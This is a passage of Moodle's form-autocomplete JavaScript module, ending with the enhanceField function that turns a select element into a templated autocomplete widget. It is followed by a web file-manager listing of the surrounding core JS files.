     *                      These are modeled on Select2 see: https://select2.github.io/options.html#ajax
     * @param {String|Promise<string>} placeholder - The text to display before a selection is made.
     * @param {Boolean} caseSensitive - If search has to be made case sensitive.
     * @param {Boolean} showSuggestions - If suggestions should be shown
     * @param {String|Promise<string>} noSelectionString - Text to display when there is no selection
     * @param {Boolean} closeSuggestionsOnSelect - Whether to close the suggestions immediately after making a selection.
     * @param {Object} templateOverrides A set of templates to use instead of the standard templates
     * @return {Promise}
     */
     var enhanceField = async function(selector, tags, ajax, placeholder, caseSensitive, showSuggestions, noSelectionString,
                          closeSuggestionsOnSelect, templateOverrides) {
            // Set some default values.
            var options = {
                selector: selector,
                tags: false,
                ajax: false,
                placeholder: await placeholder,
                caseSensitive: false,
                showSuggestions: true,
                noSelectionString: await noSelectionString,
                templates: $.extend({
                        input: 'core/form_autocomplete_input',
                        items: 'core/form_autocomplete_selection_items',
                        layout: 'core/form_autocomplete_layout',
                        selection: 'core/form_autocomplete_selection',
                        suggestions: 'core/form_autocomplete_suggestions',
                    }, templateOverrides),
            };
            var pendingKey = 'autocomplete-setup-' + selector;
            M.util.js_pending(pendingKey);
            if (typeof tags !== "undefined") {
                options.tags = tags;
            }
            if (typeof ajax !== "undefined") {
                options.ajax = ajax;
            }
            if (typeof caseSensitive !== "undefined") {
                options.caseSensitive = caseSensitive;
            }
            if (typeof showSuggestions !== "undefined") {
                options.showSuggestions = showSuggestions;
            }
            if (typeof noSelectionString === "undefined") {
                str.get_string('noselection', 'form').done(function(result) {
                    options.noSelectionString = result;
                }).fail(notification.exception);
            }

            // Look for the select element.
            var originalSelect = $(selector);
            if (!originalSelect) {
                log.debug('Selector not found: ' + selector);
                M.util.js_complete(pendingKey);
                return false;
            }

            // Ensure we enhance the element only once.
            if (originalSelect.data('enhanced') === 'enhanced') {
                M.util.js_complete(pendingKey);
                return false;
            }
            originalSelect.data('enhanced', 'enhanced');

            // Hide the original select.
            Aria.hide(originalSelect.get());
            originalSelect.css('visibility', 'hidden');

            // Find or generate some ids.
            var state = {
                selectId: originalSelect.attr('id'),
                inputId: 'form_autocomplete_input-' + uniqueId,
                suggestionsId: 'form_autocomplete_suggestions-' + uniqueId,
                selectionId: 'form_autocomplete_selection-' + uniqueId,
                downArrowId: 'form_autocomplete_downarrow-' + uniqueId,
                items: [],
                required: originalSelect[0]?.ariaRequired === 'true',
            };

            // Increment the unique counter so we don't get duplicates ever.
            uniqueId++;

            options.multiple = originalSelect.attr('multiple');
            if (!options.multiple) {
                // If this is a single select then there is no way to de-select the current value -
                // unless we add a bogus blank option to be selected when nothing else is.
                // This matches similar code in updateAjax above.
                originalSelect.prepend('<option>');
            }

            if (typeof closeSuggestionsOnSelect !== "undefined") {
                options.closeSuggestionsOnSelect = closeSuggestionsOnSelect;
            } else {
                // If not specified, this will close suggestions by default for single-select elements only.
                options.closeSuggestionsOnSelect = !options.multiple;
            }

            var originalLabel = $('[for=' + state.selectId + ']');
            // Create the new markup and insert it after the select.
            var suggestions = rebuildOptions(originalSelect.children('option'), true);

            // Render all the parts of our UI.
            var context = $.extend({}, options, state);
            context.options = suggestions;
            context.items = [];

            // Collect rendered inline JS to be executed once the HTML is shown.
            var collectedjs = '';

            var renderLayout = templates.render(options.templates.layout, {})
            .then(function(html) {
                return $(html);
            });

            var renderInput = templates.render(options.templates.input, context).then(function(html, js) {
                collectedjs += js;
                return $(html);
            });

            var renderDatalist = templates.render(options.templates.suggestions, context).then(function(html, js) {
                collectedjs += js;
                return $(html);
            });

            var renderSelection = templates.render(options.templates.selection, context).then(function(html, js) {
                collectedjs += js;
                return $(html);
            });

            return Promise.all([renderLayout, renderInput, renderDatalist, renderSelection])
            .then(function([layout, input, suggestions, selection]) {
                originalSelect.hide();
                var container = originalSelect.parent();

                // Ensure that the data-fieldtype is set for behat.
                input.find('input').attr('data-fieldtype', 'autocomplete');

                container.append(layout);
                container.find('[data-region="form_autocomplete-input"]').replaceWith(input);
                container.find('[data-region="form_autocomplete-suggestions"]').replaceWith(suggestions);
                container.find('[data-region="form_autocomplete-selection"]').replaceWith(selection);

                templates.runTemplateJS(collectedjs);

                // Update the form label to point to the text input.
                originalLabel.attr('for', state.inputId);
                // Add the event handlers.
                addNavigation(options, state, originalSelect);

                var suggestionsElement = $(document.getElementById(state.suggestionsId));
                // Hide the suggestions by default.
                suggestionsElement.hide();
                Aria.hide(suggestionsElement.get());

                return;
            })
            .then(function() {
                // Show the current values in the selection list.
                return updateSelectionList(options, state, originalSelect);
            })
            .then(function() {
                return M.util.js_complete(pendingKey);
            })
            .catch(function(error) {
                M.util.js_complete(pendingKey);
                notification.exception(error);
            });
    };

    return {
        // Public variables and functions.
        enhanceField: enhanceField,

        /**
         * We need to use jQuery here as some calling code uses .done() and .fail() rather than native .then() and .catch()
         *
         * @method enhance
         * @return {Promise} A jQuery promise
         */
        enhance: function() {
            return $.when(enhanceField(...arguments));
        }
    };
});

Filemanager

Name Type Size Permission Actions
bulkactions Folder 0777
check Folder 0777
comboboxsearch Folder 0777
datafilter Folder 0777
emoji Folder 0777
local Folder 0777
moodlenet Folder 0777
adapter.js File 123.08 KB 0777
addblockmodal.js File 4.34 KB 0777
ajax.js File 11.97 KB 0777
aria.js File 1011 B 0777
auto_rows.js File 3.46 KB 0777
autoscroll.js File 6.49 KB 0777
backoff_timer.js File 4.98 KB 0777
chart_axis.js File 7.39 KB 0777
chart_bar.js File 3.08 KB 0777
chart_base.js File 11.36 KB 0777
chart_builder.js File 1.65 KB 0777
chart_line.js File 2.08 KB 0777
chart_output.js File 1.08 KB 0777
chart_output_base.js File 2.03 KB 0777
chart_output_chartjs.js File 11.5 KB 0777
chart_output_htmltable.js File 3.3 KB 0777
chart_pie.js File 3.03 KB 0777
chart_series.js File 8.35 KB 0777
chartjs-lazy.js File 497.88 KB 0777
chartjs.js File 913 B 0777
checkbox-toggleall.js File 12.78 KB 0777
config.js File 978 B 0777
copy_to_clipboard.js File 7.38 KB 0777
custom_interaction_events.js File 22.18 KB 0777
datafilter.js File 17.92 KB 0777
dragdrop.js File 12.92 KB 0777
drawer.js File 3.49 KB 0777
drawer_events.js File 967 B 0777
dropzone.js File 5.71 KB 0777
dynamic_tabs.js File 6.67 KB 0777
edit_switch.js File 3.45 KB 0777
event.js File 2.53 KB 0777
event_dispatcher.js File 2.79 KB 0777
fetch.js File 9.4 KB 0777
first.js File 1.33 KB 0777
form-autocomplete.js File 53.74 KB 0777
form-cohort-selector.js File 2.5 KB 0777
form-course-selector.js File 3.77 KB 0777
fragment.js File 5.03 KB 0777
fullscreen.js File 1.62 KB 0777
icon_system.js File 3.39 KB 0777
icon_system_fontawesome.js File 5.35 KB 0777
icon_system_standard.js File 1.96 KB 0777
inplace_editable.js File 16.82 KB 0777
key_codes.js File 1.34 KB 0777
loadingicon.js File 3.88 KB 0777
localstorage.js File 2.24 KB 0777
log.js File 1.74 KB 0777
loglevel.js File 12.38 KB 0777
menu_navigation.js File 9.2 KB 0777
modal.js File 36.33 KB 0777
modal_backdrop.js File 4.17 KB 0777
modal_cancel.js File 1.6 KB 0777
modal_copy_to_clipboard.js File 3.75 KB 0777
modal_delete_cancel.js File 2.36 KB 0777
modal_events.js File 1.28 KB 0777
modal_factory.js File 5.91 KB 0777
modal_registry.js File 2.26 KB 0777
modal_save_cancel.js File 2.34 KB 0777
moremenu.js File 10.3 KB 0777
mustache.js File 28.75 KB 0777
network.js File 9.66 KB 0777
normalise.js File 2.43 KB 0777
notification.js File 11.57 KB 0777
page_global.js File 5.38 KB 0777
paged_content.js File 2.87 KB 0777
paged_content_events.js File 1.17 KB 0777
paged_content_factory.js File 20.61 KB 0777
paged_content_pages.js File 11.75 KB 0777
paged_content_paging_bar.js File 20.36 KB 0777
paged_content_paging_bar_limit_selector.js File 2.36 KB 0777
paged_content_paging_dropdown.js File 7.36 KB 0777
pagehelpers.js File 5.38 KB 0777
pending.js File 4.46 KB 0777
permissionmanager.js File 9.77 KB 0777
popover_region_controller.js File 13.16 KB 0777
popper.js File 79.2 KB 0777
popper2.js File 61.59 KB 0777
prefetch.js File 5.82 KB 0777
process_monitor.js File 3.55 KB 0777
pubsub.js File 2.17 KB 0777
reactive.js File 1.38 KB 0777
scroll_manager.js File 5.5 KB 0777
sessionstorage.js File 2.22 KB 0777
showhidesettings.js File 11.82 KB 0777
showmore.js File 1.83 KB 0777
sortable_list.js File 29.62 KB 0777
sticky-footer.js File 3.16 KB 0777
storage_validation.js File 1.36 KB 0777
storagewrapper.js File 5.36 KB 0777
stored_progress.js File 3.15 KB 0777
str.js File 10.01 KB 0777
tag.js File 15.02 KB 0777
templates.js File 10.83 KB 0777
toast.js File 4.26 KB 0777
togglesensitive.js File 5.15 KB 0777
tooltip.js File 4.09 KB 0777
tree.js File 18.39 KB 0777
truncate.js File 6.56 KB 0777
url.js File 3.65 KB 0777
user_date.js File 9.27 KB 0777
userfeedback.js File 2.91 KB 0777
usermenu.js File 5.13 KB 0777
utility.js File 7.5 KB 0777
utils.js File 4.83 KB 0777
yui.js File 1.13 KB 0777
Filemanager